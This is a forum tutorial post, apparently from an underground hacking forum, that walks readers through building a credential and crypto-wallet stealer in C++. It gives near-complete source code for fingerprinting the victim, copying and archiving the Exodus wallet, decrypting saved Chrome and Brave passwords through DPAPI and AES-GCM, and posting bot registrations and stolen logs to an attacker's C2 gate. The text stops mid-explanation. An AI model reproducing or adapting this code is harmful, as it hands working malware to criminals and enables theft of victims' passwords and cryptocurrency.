Learn malware development in cpp , Create Your Own advanced stealer part 1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Hi xss members, today with the waited series About, How to start your career in malware development.

This is the first Tutorial titled: Create your own FUD advanced Stealer PART 1.

This tutorial will split it into 2 parts { Client side and Server side } to make it more understandable for readers.
So this is the first PART And will be the Client


After seeing a lot of questions on this forum about how to start Malware development and how to code some malware futures I decide to start a series about malware development,

Because of the famosity of stealers, I will start this series by Creating an advanced stealer tutorial.

This series is cover the SERVER and the CLIENT coding and will cover the most used techniques and the most famous futures and will be the above futures.

FUTURES:

  1. - Crypto wallet stealer
  2. - Browsers logins stealer
  3. - Telegram Notifier

These futures are the most famous and most people rent or buy a stealer for using these functions.

A)- Crypto wallet stealer
For crypto stealer, we will take an example on EXODUS wallet the most public crypto wallet for Windows Desktop ( PC ), But you can use the same technique on any other crypto wallet with few changes you have to make but this tutorial will give you the idea and the coding and will put you on the road to start.

B)- Browsers logins stealer
For Browser we also will take an example on the most used Browser (chrome) but don’t worry this method work for all Chromium-based browsers so you can cover 90% of browsers, and about firefox will take about it in PART 2.

C)-Telegram Notifier
Telegram notifier is very easy just when a new bot is registered to Database send an HTTP request to telegram api with bot details to let the owner of the bot panel know there is a new bot.



Before we start in coding you should know a few things.

The library we will use in this tutorial all will be included in the attachments you also could search on Github, Google and download them.

The programming language we will use in this tutorial.

For client C++
For server php

Html,css are not programming languages but we will use them for coding our panel and add some style to it also for displaying and downloading stolen Data.


Libraries Required.

  1. - openssl (For decrypting ).
  2. - jsoncpp ( For parsing json files).
  3. - Sqllite ( For connecting to browsers database)
  4. - base64 ( for decoding, encoding ) base64

Other Microsoft libraries will be used but it’s installed by default with visual studio c++
Like, wininet, Winsock version 2.


I will explain every code under the CODE or IMAGE so here you need to pay attention very carefully to understand every single code why is written.


STARTING …

Open visual studio and create a new empty c++ project

1684706476255.png



Name it whatever you want, I will name it xssStealer

1684706494989.png




Add a new empty c++ file this file will have the main() function
I will name the file stealer.cpp

1684706523239.png



Now let's add the required Class and name it as the following list .
Classes list


  1. - bot
  2. - httpc2c
  3. - ftp
  4. - crypto
  5. - browsers

To add new classes to visual studio please follow the steps in the pictures below.

1 . Righ click on project -> then Add
1684706549457.png


2 . then click on class will open this window
1684706568424.png


3 . add the class name then press OK
1684706601374.png



Now open common.h file and add the following lines
C++: Скопировать в буфер обмена
Код:
#define _WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
#define _CRT_NONSTDC_NO_DEPRECATE

#include <Winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <winreg.h>
#include <shlobj.h>
// output libs
#include <iostream>
#include <algorithm>
#include <random>
#include <string>
#include <stdio.h>
#include <dpapi.h>
#include<fstream>
#include <cassert>
#include <wininet.h>
#include <versionhelpers.h>



#include <shlwapi.h>


#pragma comment(lib,"Shlwapi.lib")

#pragma comment(lib, "urlmon.lib")
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"Crypt32.lib")

#define HOST "YOURDOMAIN"
#define PORT "80"
#define FTPUSER "admin"
#define FTPPASS "admin"

typedef NTSTATUS(NTAPI* fRtlGetVersion)(LPOSVERSIONINFOEXW);

There is nothing hard just including all required libs and classes headers also we define HOST, PORT, ftp usernames, and ftp password change host, port,ftp to your own.

Now open bot.h and write following code.
C++: Скопировать в буфер обмена
Код:
#pragma once
#include "common.h"

class bot
{

public:

    std::string  LoggedInUser();
    std::string  WindowsVersion();

};

open bot.cpp and write following code.

C++: Скопировать в буфер обмена
Код:
#include "bot.h"

std::string bot::LoggedInUser()
{
    DWORD userLength = 100;
    char *cLoggedInUser;
    cLoggedInUser = (char*)malloc(userLength);
    GetUserNameA(cLoggedInUser, &userLength);

    return cLoggedInUser;
}

std::string bot::WindowsVersion()
{

    FARPROC fRtlGetVersionLibAddress = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
    if (fRtlGetVersionLibAddress == NULL)
        return NULL;

    fRtlGetVersion RtlGetVersion = (fRtlGetVersion)fRtlGetVersionLibAddress;



    int dwMajorVersion = 0.0;
    int dwMinorVersion = 0.0;
    OSVERSIONINFOEXW osInfo;
    osInfo.dwOSVersionInfoSize = sizeof(osInfo);
    RtlGetVersion(&osInfo);
    dwMajorVersion = osInfo.dwMajorVersion;
    dwMinorVersion = osInfo.dwMinorVersion;


    if (IsWindowsServer() == TRUE)
    {
        if (dwMajorVersion == 10 && dwMinorVersion == 0)
        {
            return "Windows Server 2016";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 3)
        {
            return "Windows Server 2012 R2";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 2)
        {
            return "Windows Server 2012 ";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 1)
        {
            return "Windows Server 2008 R2 ";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 0)
        {
            return  "Windows Server 2008";
        }
        else if (dwMajorVersion == 5 && dwMinorVersion == 2)
        {
            return"Windows Server 2003 R2";
        }

    }
    else
    {
        if (dwMajorVersion == 10 && dwMinorVersion == 0)
        {
            return "Windows 10";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 3)
        {
            return "Windows 8.1";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 2)
        {
            return "Windows 8";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 1)
        {
            return "Windows 7";
        }
        else if (dwMajorVersion == 6 && dwMinorVersion == 0)
        {
            return "Windows Vista";
        }
        else if (dwMajorVersion == 5 && dwMinorVersion == 1)
        {
            return "Windows XP";
        }

    }



}

Explaining the above code

First, we create the class we called bot this class is responsible for gathering information about bot os, like the logged-in user , Windows os version, server, or desktop

As you see in bot.cpp we have 2 functions the first is called LoggedInuser()
This function uses GetUserNameA ( Winapi) function to get the logged-in user and
WindowsVersion() function is to check if the stealer is running on Server version or Desktop version then determine the Windows version by getting dwMajorVersion dwMinorVersion and comparing them with values we found on Microsoft documentation page check this URL to find all available windows versions https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa

As you see some server and desktop are the same like Windows 10 dwMajorVersion is 10 and dwMinorVersion is 0 also Windows Server 2016 dwMajorVersion is 10 and dwMinorVersion is 0 so to to determine is a windows server or desktop we Use IsWindowsServer() is a windows api function included from versionhelpers.h this function return TRUE if the running os is server and return FALSE if its Desktop. then we use IF statements to check versions.

Now we need to confirm the above code is working , so open stealer.cpp and create an object from bot class then print out the logged-in user and Windows version as shown in below
C++: Скопировать в буфер обмена
Код:
#include "common.h"
#include "browsers.h"
#include "httpc2c.h"
#include "bot.h"
#include "crypto.h"

#include "ftp.h"

#pragma comment(lib,"Wininet.lib")



int main(int argc, char* argv[])
{


    bot* pbot = new bot();

    std::cout << "Logged in user  : " << pbot->LoggedInUser() << std::endl;
    std::cout << "Windows Version : " << pbot->WindowsVersion() << std::endl;
}
1684706865513.png




Now we have done collecting the important info from pc still the ip and country will get them using php when the bot connect to our gate.php this step will be in php coding section just hold on .

Now let's write the exodus wallet stealer First install Exodus on your machine, to see it work you need to install Windows on VMware or virtual box and also install Exodus and after stealing the exodus wallet from host machine go to VMware and replace the host files with guest files and you will see guest wallet changed to the one we have on the host machine.
#Exodus Crypto wallet Stealer

Now open crypto.h and add this code to class crypto
C++: Скопировать в буфер обмена
Код:
#pragma once
#include "common.h"



class crypto
{

public:

    char* exodusWalletPath;
    char* CompressWalletPath;


    int GetExodusWalletPath();
    int CompressExodusWallet();

    crypto()
    {
        exodusWalletPath = (char*)malloc(MAX_PATH);
        CompressWalletPath = (char*)malloc(MAX_PATH);
    }
};

When you have done this step open crypto.cpp and add the following code.

C++: Скопировать в буфер обмена
Код:
#include "crypto.h"


BOOL CmdExec(char* Command)
{
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    BOOL CreatePorc = CreateProcessA(NULL, Command, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, si, pi);

    return CreatePorc;
}

int crypto::GetExodusWalletPath()
{
    char* exodusWalletPath;
    exodusWalletPath = (char*)malloc(MAX_PATH);

    char* LocalAppDataPath;
    LocalAppDataPath = (char*)malloc(MAX_PATH);
    size_t LocalAppDataSize;
    _dupenv_s(&LocalAppDataPath, &LocalAppDataSize, "AppData");

    strcpy(exodusWalletPath, LocalAppDataPath); // copy appdata path to exodus path
    strcat(exodusWalletPath, "\\Exodus"); // copy exodus file name to exodus path


    if (PathFileExistsA(exodusWalletPath) != TRUE) // if equal FALSE  exodus not installed then return 1;
        return 1;

    this->exodusWalletPath = exodusWalletPath;

    return 0;
}

int crypto::CompressExodusWallet()
{
    char* TempPath;
    TempPath = (char*)malloc(MAX_PATH);

    char* ExodustempPath;
    ExodustempPath = (char*)malloc(MAX_PATH);

    size_t TempPathSize;
    _dupenv_s(&TempPath, &TempPathSize, "temp");

    strcpy(ExodustempPath, TempPath);
    strcat(ExodustempPath, "\\exodus");

    // copy exodus wallet file to temp
    char* CopyCmd;
    CopyCmd = (char*)malloc(MAX_PATH);

    strcpy(CopyCmd, "xcopy /E /I ");
    strcat(CopyCmd, this->exodusWalletPath);
    strcat(CopyCmd, " ");
    strcat(CopyCmd, ExodustempPath);

    if (CmdExec(CopyCmd) == 0) // Create process faild
        exit(1);

    Sleep(2000);
    char* compRessCmd;
    compRessCmd = (char*)malloc(MAX_PATH);
    strcpy(compRessCmd, "cmd /c  \"cd ");
    strcat(compRessCmd, ExodustempPath);
    strcat(compRessCmd, " && tar -cf ");
    strcat(compRessCmd, TempPath);
    strcat(compRessCmd, "\\exodus.tar *\"");

    //std::cout << compRessCmd << std::endl;

    if (CmdExec(compRessCmd) == 0) // Create process faild
        exit(1);

    strcpy(CompressWalletPath, TempPath);
    strcat(CompressWalletPath, "\\exodus.tar");

    Sleep(2000);
    return 0;
}

Explaining the above code.

In crypto.h we have 2 public variables and are exodusWalletPath, CompressWalletPath and 2 functions GetExodusWalletPath() , and CompressExodusWalletPath()

In exodusWalletPath variable will store the exodus wallet path and in CompressWalletPath will store the compressed exodus wallet path.

In crypto.cpp

We create a new function called CmdExec() to execute cmd using CreateProcess() function from WINAPI and will initialize the GetExodusWalletPath() , and CompressExodusWallet() as you see in the code above.

In GetExodusWalletPath() We are getting %AppData% path using _dupenv_s then we copy the LocalAppDataPath path to exodusWalletPath and copy exodus folder name to exodusWalletPath , the default exodus folder path is : %AppData%/exodus/
And finally, we check if the Exodus wallet is installed or not using PathFileExistsA Winapi function, if not installed we return 1; if installed we store the exodus path in this->exodusWalletPath variable so we can access this variable from other functions from the same class

And will use this variable this->exodusWalletPath in CompressExodusWallet() to copy from the exodus default path to the temp path, using the cmd and XCOPY using the function we have created CmdExec() when finish copying the folder will store the path of the compressed exodus folder in this->CompressWalletPath now will use tar.exe is default with Windows to compress the temp exodus folder before we upload it with FTP .

Now we need to test if the crypto code are running well and if coping and compressing are working without any problem and to do that we need to create new object from the crypto class and execute the 2 functions
C++: Скопировать в буфер обмена
Код:
    crypto* pcrypto = new crypto();

    int IsInstalledExodus = pcrypto->GetExodusWalletPath(); // getting exodus wallet default path and check if installed or not
    if (IsInstalledExodus == 1) return 0;

    pcrypto->CompressExodusWallet(); // if installed copy exodus wallet to temp folder and compress it

As you can see in the image below running the exe result.

1684707226153.png




All good for now we finish the bot class and crypto class now let's get into httpc2c class and this class is responsible for contacting with http c&c server, data upload, and bot registration.

In httpc2c.h add the following lines.
C++: Скопировать в буфер обмена
Код:
#pragma once
#include "common.h"

std::string HttpParser(char* data);
class httpc2c
{

public:


    // functions
 

    std::string GetBotId();
    void  RegisterBot(std::string BotId, std::string LoggedInuser, std::string WindowsVersion);
    void  TransfeerStealedData(std::string BotId, char* Data);    // Upload stealed passwords
};

Now open httpc2c.cpp and add the following code.
C++: Скопировать в буфер обмена
Код:
#include "httpc2c.h"


std::string HttpParser(char* data)
{

    std::string stdCommend;
    char hex[5000];
    int  sParse = 0;
    for (int x = 0; x < strlen(data); x++)
    {

        sprintf(hex, "%x", data[x]);

        if (strcmp(hex, "7c") == 0)
        {
            sParse = 1;
            x += 2;
        }

        if (sParse == 1)
        {
            sprintf(hex, "%x", data[x]);
            if (strcmp(hex, "7d") == 0)
            {
                stdCommend += data[x];
                break;
            }
            else
            {
                stdCommend += data[x];
            }
        }
    }

    return stdCommend;
}

std::string httpc2c::GetBotId()
{

    int iResult = 0;
    WSADATA wsData;
    struct  addrinfo* result = NULL, * ptr = NULL, hints;
    SOCKET connSocket = SOCKET_ERROR;

    ZeroMemory(&hints, sizeof hints);

    iResult = WSAStartup(MAKEWORD(2, 2), &wsData);

    if (iResult != 0)
        exit(1);

    iResult = getaddrinfo(HOST, PORT, &hints, &result);

    if (iResult != 0)
        exit(1);

    ptr = result;

    connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
    if (connSocket == INVALID_SOCKET)
        exit(1);

    iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);

    if (connSocket == SOCKET_ERROR)
        exit(1);

    //// get cloud id for bot
    char* genBotIDcommand;
    genBotIDcommand = (char*)malloc(MAX_PATH);

    strcpy(genBotIDcommand, "{\"action\":\"GenerateBotId\"");
    strcat(genBotIDcommand, "}");

    int  genBotIDcommandLength = strlen(genBotIDcommand);
    char StringgenBotIDcommandLength[200];
    itoa(genBotIDcommandLength, StringgenBotIDcommandLength, 10);

    char* HttpDatav1;
    HttpDatav1 = (char*)malloc(genBotIDcommandLength + 5000);
    strcpy(HttpDatav1, "POST /xssstealer/gate.php HTTP/1.0\r\n");
    strcat(HttpDatav1, "Host: ");
    strcat(HttpDatav1, HOST);
    strcat(HttpDatav1, "\r\n");
    strcat(HttpDatav1, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
    strcat(HttpDatav1, "Content-Type: text/html\r\n");
    strcat(HttpDatav1, "Content-Length: ");
    strcat(HttpDatav1, StringgenBotIDcommandLength);
    strcat(HttpDatav1, "\r\n");
    strcat(HttpDatav1, "Accept-Charset: utf-8\r\n");
    strcat(HttpDatav1, "\r\n");
    strcat(HttpDatav1, genBotIDcommand);
    strcat(HttpDatav1, "\r\n");
    strcat(HttpDatav1, "\r\n");

    iResult = send(connSocket, HttpDatav1, strlen((const char*)HttpDatav1), 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    // recive section
    char* RecivedBotId;
    RecivedBotId = (char*)malloc(4096);
    iResult = recv(connSocket, (char*)RecivedBotId, 4096, 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    closesocket(connSocket);
    WSACleanup();

    //std::cout << RecivedBotId << std::endl;
    return HttpParser(RecivedBotId);
}

void httpc2c::RegisterBot(std::string BotId, std::string LoggedInuser, std::string WindowsVersion)
{
    // Upload gathered Data to http server
    int iResult = 0;
    WSADATA wsData;
    struct  addrinfo* result = NULL, * ptr = NULL, hints;
    SOCKET connSocket = SOCKET_ERROR;

    ZeroMemory(&hints, sizeof hints);

    iResult = WSAStartup(MAKEWORD(2, 2), &wsData);

    if (iResult != 0)
        exit(1);

    iResult = getaddrinfo(HOST, PORT, &hints, &result);

    if (iResult != 0)
        exit(1);

    ptr = result;

    connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
    if (connSocket == INVALID_SOCKET)
        exit(1);

    iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);

    if (connSocket == SOCKET_ERROR)
        exit(1);

    /* Register bot data */

    char* botData;
    botData = (char*)malloc(MAX_PATH);

    strcpy(botData, "{\"action\":\"registerbotinfo\"");
    strcat(botData, ",\"botid\":\"");
    strcat(botData, BotId.c_str());
    strcat(botData, "\"");
    strcat(botData, ",\"user\":\"");
    strcat(botData, LoggedInuser.c_str());
    strcat(botData, "\"");
    strcat(botData, ",\"windowsversion\":\"");
    strcat(botData, WindowsVersion.c_str());
    strcat(botData, "\"");
    strcat(botData, "}");

    //std::cout << WindowsVersion << std::endl;
    //std::cout << LoggedInuser << std::endl;

    int  botDatacommendLength = strlen(botData);
    char StringbotDataCommendLength[200];
    itoa(botDatacommendLength, StringbotDataCommendLength, 10);

    char* HttpDatav2;
    HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
    strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
    strcat(HttpDatav2, "Host: ");
    strcat(HttpDatav2, HOST);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
    strcat(HttpDatav2, "Content-Type: text/html\r\n");
    strcat(HttpDatav2, "Content-Length: ");
    strcat(HttpDatav2, StringbotDataCommendLength);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, botData);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "\r\n");


    iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    // recive section
    char* rData;
    rData = (char*)malloc(4096);
    iResult = recv(connSocket, (char*)rData, 4096, 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    closesocket(connSocket);
    WSACleanup();
    //std::cout << rData << std::endl;
}

void httpc2c::TransfeerStealedData(std::string BotId, char* Data)
{
    // Upload the stealed passwords over http

    int iResult = 0;
    WSADATA wsData;
    struct  addrinfo* result = NULL, * ptr = NULL, hints;
    SOCKET connSocket = SOCKET_ERROR;

    ZeroMemory(&hints, sizeof hints);

    iResult = WSAStartup(MAKEWORD(2, 2), &wsData);

    if (iResult != 0)
        exit(1);

    iResult = getaddrinfo(HOST, PORT, &hints, &result);

    if (iResult != 0)
        exit(1);

    ptr = result;

    connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
    if (connSocket == INVALID_SOCKET)
        exit(1);

    iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);

    if (connSocket == SOCKET_ERROR)
        exit(1);

    /* transfeer stealed data */

    char* botData;
    botData = (char*)malloc(strlen(Data) + 1000);

    strcpy(botData, "{\"action\":\"uploadData\"");
    strcat(botData, ",\"botid\":\"");
    strcat(botData, BotId.c_str());
    strcat(botData, "\"");
    strcat(botData, ",\"logs\":\"");
    strcat(botData, Data);
    strcat(botData, "\"");
    strcat(botData, "}");

    int  botDatacommendLength = strlen(botData);
    char StringbotDataCommendLength[200];
    itoa(botDatacommendLength, StringbotDataCommendLength, 10);

    char* HttpDatav2;
    HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
    strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
    strcat(HttpDatav2, "Host: ");
    strcat(HttpDatav2, HOST);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
    strcat(HttpDatav2, "Content-Type: text/html\r\n");
    strcat(HttpDatav2, "Content-Length: ");
    strcat(HttpDatav2, StringbotDataCommendLength);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, botData);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "\r\n");


    iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    // recive section
    char* rData;
    rData = (char*)malloc(4096);
    iResult = recv(connSocket, (char*)rData, 4096, 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    closesocket(connSocket);
    WSACleanup();
}

Explaining the above code.


The HttpParser(char* httpResponse) function is very simple we just search for the | symbol and once we found it,
that means we finish ready the header and starting in the body response from the server, in default the server will not respond with | symbol, so to do that, will need to add it in php gate.php file but for now let's focus on cpp code.

GetBotId() as you can see in above code we use Winsock to send json data using http post request the json data is {“action”,”GenerateBotId”} and this means we are a new bot and need to generate a new random id in php code we use json decode to decode this request and check the action if its GenerateBotId then will generate a new ID you will see this in the below code once we finish cpp coding section

RegisterBot() After we generate the BOT ID in cloud using php now will read the response from server and parse it using HttpParser() function to read the bot id , after done all these steps now will use the data we collect about the bot from Class bot such as the Logged-IN user and the windows version you can scroll to top to see that function we are talking about .
And now will send all collected data to server to register the bot in Database .
And the json will be like this .

{“action”,”registerbotinfo”,”botid”,”generated bot id”,”user”,”Logged-IN user”,”windowsversion”,”Current windows version ”}

Lets back again to the main function and create new object from the httpc2c class and execute the Both functions GetBotId() , RegisterBot()
As shown in code bellow
C++: Скопировать в буфер обмена
Код:
    httpc2c* HttpClient = new httpc2c();

    std::string BotId = HttpClient->GetBotId();

    HttpClient->RegisterBot(BotId, pbot->LoggedInUser(), pbot->WindowsVersion());

We can add the registration code before the exodus wallet. It will be better .


OK : Now we Collect the info about current infecte bot like { WinVersion,CurrentLogged User , IP AND Country “ Will be discussed in PHP Section ” and Unique ID is generated on SERVER also this “ will be discussed in PHP Section “ }


#Chrome Web Browser stealer and Chromium based Browsers .

Before start in coding we need to add the following libraries to our project to be able to decrypt logins and also to decode base64
So here is it .
1684707463542.png


Also openssl
1684707463575.png


And static lib for openssl
1684707463608.png


Note: All libraries will be in attachment
And Don’t Forget to include the cpp files of libs into your project
1684707463675.png


Get back to common.h and add this new lines

C++: Скопировать в буфер обмена
Код:
#include "sqlite3/sqlite3.h"

#include "jsoncpp/json/json.h"

#include "base64/base64.h"


#include "openssl/conf.h"
#include "openssl/evp.h"
#include "openssl/err.h"

Go to browser.h and add the following code
C++: Скопировать в буфер обмена
Код:
#include "common.h"


class ChromuimBrowsers
{



public:

    /* variables */

    char* TempLoginDataPath;
    char* LocalStatePath;
    char* LoginDataPath;
    char* encryptedMasterKey;
    int    EncryptedMasterKeyLength;
    DATA_BLOB DecryptedMasterKey;
    char* Buffer;


    /* functions */
    void   GetBrowserPath(const char* BrowserName);
    void   DecodeBase64Key();
    void   DecryptLoginData();
    void   DecryptMasterKey();
    BOOL   AesDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted);
    int    DecryptPassword(const DATA_BLOB encryptedPassword, const DATA_BLOB masterKey, PDATA_BLOB decryptedPassword);
    void   CompressPassword();
    void   UploadFiles();

    ChromuimBrowsers()
    {
        LocalStatePath = (char*)malloc(MAX_PATH);
        LoginDataPath = (char*)malloc(MAX_PATH);
        encryptedMasterKey = (char*)malloc(MAX_PATH);

        Buffer = (char*)malloc(100000);
    }

};

Open browser.cpp
And also add these functions

C++: Скопировать в буфер обмена
Код:
#include "browsers.h"


void ChromuimBrowsers::GetBrowserPath(const char* BrowserName)
{

    char* LocalAppDataPath;
    LocalAppDataPath = (char*)malloc(MAX_PATH);
    size_t LocalAppDataSize;
    _dupenv_s(&LocalAppDataPath, &LocalAppDataSize, "LOCALAPPDATA");

    strcpy(this->LocalStatePath, LocalAppDataPath);
    strcpy(this->LoginDataPath, LocalAppDataPath);


    if (strcmp(BrowserName, "chrome") == 0)
    {
        strcat(this->LocalStatePath, "\\Google\\Chrome\\User Data\\Local State");
        strcat(this->LoginDataPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
    }
    else if (strcmp(BrowserName, "brave") == 0)
    {

        strcat(this->LocalStatePath, "\\BraveSoftware\\Brave-Browser\\User Data\\Local State");
        strcat(this->LoginDataPath, "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
    }

}


void ChromuimBrowsers::DecodeBase64Key()
{

    char* TempPath;
    TempPath = (char*)malloc(MAX_PATH);
    size_t TempPathSize;
    _dupenv_s(&TempPath, &TempPathSize, "temp");

    char TempLocalStatePath[MAX_PATH];
    strcpy(TempLocalStatePath, TempPath);
    strcat(TempLocalStatePath, "\\Local State");

    CopyFileA(this->LocalStatePath, TempLocalStatePath, FALSE);

    std::ifstream LocalStateFile(TempLocalStatePath);

    Json::Value jData;
    Json::Reader JsonReader;
    JsonReader.parse(LocalStateFile, jData);


    const char* Base64Key = jData["os_crypt"]["encrypted_key"].asCString();


    int Base64KeyLength = Base64decode_len(Base64Key);

    char* encryptedKey = (char*)malloc(Base64KeyLength);
    Base64decode(encryptedKey, Base64Key);

    this->encryptedMasterKey = encryptedKey;
    this->EncryptedMasterKeyLength = Base64KeyLength;

    return;
}

void ChromuimBrowsers::DecryptMasterKey()
{

    BYTE* encryptedKeyB = (BYTE*)LocalAlloc(LPTR, this->EncryptedMasterKeyLength);

    memcpy(encryptedKeyB, this->encryptedMasterKey, this->EncryptedMasterKeyLength);

    // Removing "DPAPI" (5 symbols)
    DATA_BLOB EncryptedMasterKeyIn;
    EncryptedMasterKeyIn.cbData = EncryptedMasterKeyLength - 5;
    EncryptedMasterKeyIn.pbData = encryptedKeyB + 5;

    if (!CryptUnprotectData(&EncryptedMasterKeyIn, NULL, NULL, NULL, NULL, 0, &this->DecryptedMasterKey))
    {
        exit(1);
    }

}

void ChromuimBrowsers::DecryptLoginData()
{

    char* TempPath;
    TempPath = (char*)malloc(MAX_PATH);
    size_t TempPathSize;
    _dupenv_s(&TempPath, &TempPathSize, "temp");

    char TempLoginDataPath[MAX_PATH];
    strcpy(TempLoginDataPath, TempPath);
    strcat(TempLoginDataPath, "\\Login Data");

    CopyFileA(this->LoginDataPath, TempLoginDataPath, FALSE);

    this->TempLoginDataPath = TempLoginDataPath;

    sqlite3* connection;
    if (sqlite3_open(TempLoginDataPath, &connection) != SQLITE_OK)
        exit(1);


    const char* query = "SELECT action_url, username_value, password_value FROM logins";
    sqlite3_stmt* result;
    if (sqlite3_prepare_v2(connection, query, -1, &result, 0) != SQLITE_OK)
        exit(1);


    char* Buffer;
    Buffer = (char*)malloc(100000);

    strcpy(Buffer, "\n");
    while (sqlite3_step(result) != SQLITE_DONE)
    {

        const unsigned char* SiteUrl = sqlite3_column_text(result, 0);
        const unsigned char* Username_Email = sqlite3_column_text(result, 1);

        if (strlen((char*)SiteUrl) > 0)
        {

            const DATA_BLOB encryptedPassword = { sqlite3_column_bytes(result, 2), (BYTE*)sqlite3_column_blob(result, 2) };
            BYTE decryptedPasswordBuf[512];
            DATA_BLOB decryptedPassword = { 0, decryptedPasswordBuf };

            if (DecryptPassword(encryptedPassword, this->DecryptedMasterKey, &decryptedPassword))
            {

                char* password;
                password = (char*)malloc(decryptedPassword.cbData);
                memcpy_s(password, decryptedPassword.cbData, decryptedPassword.pbData, decryptedPassword.cbData);

                strcat(Buffer, "Url : ");
                strcat(Buffer, (char*)SiteUrl);
                strcat(Buffer, "\n");
                strcat(Buffer, "Username/email : ");
                strcat(Buffer, (char*)Username_Email);
                strcat(Buffer, "\n");
                strcat(Buffer, "Password : ");
                strcat(Buffer, (char*)password);
                strcat(Buffer, "\n------------------------------------------------------------------------------------\n");

            }
        }
    }

    Base64encode(this->Buffer, Buffer, strlen(Buffer) + 1);


    sqlite3_finalize(result);
    sqlite3_close(connection);
    remove(TempLoginDataPath);

    LocalFree(this->DecryptedMasterKey.pbData);
}


BOOL ChromuimBrowsers::AesDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted)
{

    int dataLength;
    int TotaLength = 0;
    int errorID;

    EVP_CIPHER_CTX* pContext = EVP_CIPHER_CTX_new();
    if (!pContext)
    {
        return FALSE;
    }
    else
    {
        if (!EVP_DecryptInit_ex(pContext, EVP_aes_256_gcm(), NULL, NULL, NULL))
        {
            return FALSE;
        }
        else
        {
            if (!EVP_CIPHER_CTX_ctrl(pContext, EVP_CTRL_GCM_SET_IVLEN, iv.cbData, NULL))
            {
                return FALSE;
            }
            else
            {
                if (!EVP_DecryptInit_ex(pContext, NULL, NULL, key.pbData, iv.pbData))
                {
                    return FALSE;
                }
                else
                {



                    if (!EVP_DecryptUpdate(pContext, decrypted->pbData + TotaLength, &dataLength, cipher.pbData + TotaLength, cipher.cbData))
                    {
                        return FALSE;
                    }
                    else
                    {
                        TotaLength += dataLength;

                        int ret = EVP_DecryptFinal_ex(pContext, decrypted->pbData + TotaLength, &dataLength);
                        TotaLength += dataLength;

                        EVP_CIPHER_CTX_free(pContext);
                        decrypted->cbData = TotaLength;
                        errorID = 0;
                        return TRUE;
                    }


                }
            }
        }
    }

    if (errorID == 0)
        return TRUE;
}


int ChromuimBrowsers::DecryptPassword(const DATA_BLOB encryptedPassword, const DATA_BLOB masterKey, PDATA_BLOB decryptedPassword)
{
    const DATA_BLOB iv = { 15 - 3, encryptedPassword.pbData + 3 };
    const DATA_BLOB payload = { encryptedPassword.cbData - 15, encryptedPassword.pbData + 15 };

    int ret = AesDecrypt(payload, masterKey, iv, decryptedPassword);
    decryptedPassword->cbData -= 16;
    decryptedPassword->pbData[decryptedPassword->cbData] = '\0';
    return ret;
}

How does Chrome encrypt the passwords and stored them in sql database.


chrome generate aes key and then encrypt it with (DPAPI) Data Protection API by Microsoft for security reason, then chrome encode the encrypted AES key with base64 and store it in (Local State file) the default location for this file is: %LOCALAPPDATA%\Google\Chrome\User Data\Local State.

So to decrypt the logins and cookies we need to reverse all these steps discriped bellow .

Discussing every single function

GetBrowserPath():
This function is used to retrieve The Browser path from LOCALAPPDATA
Dynamicly so we don’t make the path static
So we get the path and copy it using strcpy (We can also use strcpy_s ) . and save them in local variable so we can access it later

DecodeBase64Key():
